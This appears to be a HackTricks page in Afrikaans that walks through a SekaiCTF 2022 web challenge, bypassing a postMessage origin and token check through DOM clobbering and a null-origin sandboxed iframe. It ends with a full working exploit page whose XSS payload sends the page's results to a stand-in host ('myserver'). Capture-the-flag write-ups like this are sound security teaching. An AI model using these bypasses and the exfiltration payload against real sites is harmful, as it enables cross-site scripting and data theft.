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81 lines
4.1 KiB
Markdown
81 lines
4.1 KiB
Markdown
# Bypassing SOP with Iframes - 2
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{{#include ../../banners/hacktricks-training.md}}
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## Iframes in SOP-2
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In die [**oplossing**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution) vir hierdie [**uitdaging**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)**,** [**@Strellic\_**](https://twitter.com/Strellic_) stel 'n soortgelyke metode voor soos in die vorige afdeling. Kom ons kyk daarna.
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In hierdie uitdaging moet die aanvaller **bypass** hierdie:
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```javascript
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if (e.source == window.calc.contentWindow && e.data.token == window.token) {
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```
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As hy dit doen, kan hy 'n **postmessage** met HTML-inhoud stuur wat in die bladsy geskryf gaan word met **`innerHTML`** sonder sanitasie (**XSS**).
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Die manier om die **eerste kontrole** te omseil, is deur **`window.calc.contentWindow`** na **`undefined`** en **`e.source`** na **`null`** te maak:
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- **`window.calc.contentWindow`** is eintlik **`document.getElementById("calc")`**. Jy kan **`document.getElementById`** oorheers met **`<img name=getElementById />`** (let op dat die Sanitizer API -[hier](https://wicg.github.io/sanitizer-api/#dom-clobbering)- nie gekonfigureer is om teen DOM oorheersingaanvalle in sy standaardtoestand te beskerm nie).
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- Daarom kan jy **`document.getElementById("calc")`** oorheers met **`<img name=getElementById /><div id=calc></div>`**. Dan sal **`window.calc`** **`undefined`** wees.
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- Nou moet ons hê dat **`e.source`** **`undefined`** of **`null`** moet wees (want `==` word gebruik in plaas van `===`, **`null == undefined`** is **`True`**). Om dit te kry, is "maklik". As jy 'n **iframe** skep en 'n **postMessage** daaruit stuur en onmiddellik die iframe **verwyder**, sal **`e.origin`** **`null`** wees. Kontroleer die volgende kode
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```javascript
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let iframe = document.createElement("iframe")
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document.body.appendChild(iframe)
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window.target = window.open("http://localhost:8080/")
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await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
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iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
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document.body.removeChild(iframe) //e.origin === null
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```
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Om die **tweede kontrole** oor die token te omseil, stuur **`token`** met die waarde `null` en maak **`window.token`** se waarde **`undefined`**:
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- Om `token` in die postMessage met die waarde `null` te stuur, is trivial.
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- **`window.token`** in die oproep van die funksie **`getCookie`** wat **`document.cookie`** gebruik. Let daarop dat enige toegang tot **`document.cookie`** in **`null`** oorsprong bladsye 'n **fout** veroorsaak. Dit sal maak dat **`window.token`** die waarde **`undefined`** het.
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Die finale oplossing deur [**@terjanq**](https://twitter.com/terjanq) is die [**volgende**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
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```html
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<html>
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<body>
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<script>
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// Abuse "expr" param to cause a HTML injection and
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// clobber document.getElementById and make window.calc.contentWindow undefined
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open(
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'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
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)
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function start() {
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var ifr = document.createElement("iframe")
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// Create a sandboxed iframe, as sandboxed iframes will have origin null
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// this null origin will document.cookie trigger an error and window.token will be undefined
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ifr.sandbox = "allow-scripts allow-popups"
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ifr.srcdoc = `<script>(${hack})()<\/script>`
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document.body.appendChild(ifr)
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function hack() {
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var win = open("https://obligatory-calc.ctf.sekai.team")
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setTimeout(() => {
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parent.postMessage("remove", "*")
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// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
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// token=null equals to undefined and e.source will be null so null == undefined
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win.postMessage(
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{
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token: null,
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result:
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"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
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},
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"*"
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)
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}, 1000)
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}
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// this removes the iframe so e.source becomes null in postMessage event.
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onmessage = (e) => {
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if (e.data == "remove") document.body.innerHTML = ""
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}
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}
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setTimeout(start, 1000)
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</script>
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</body>
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</html>
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```
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{{#include ../../banners/hacktricks-training.md}}
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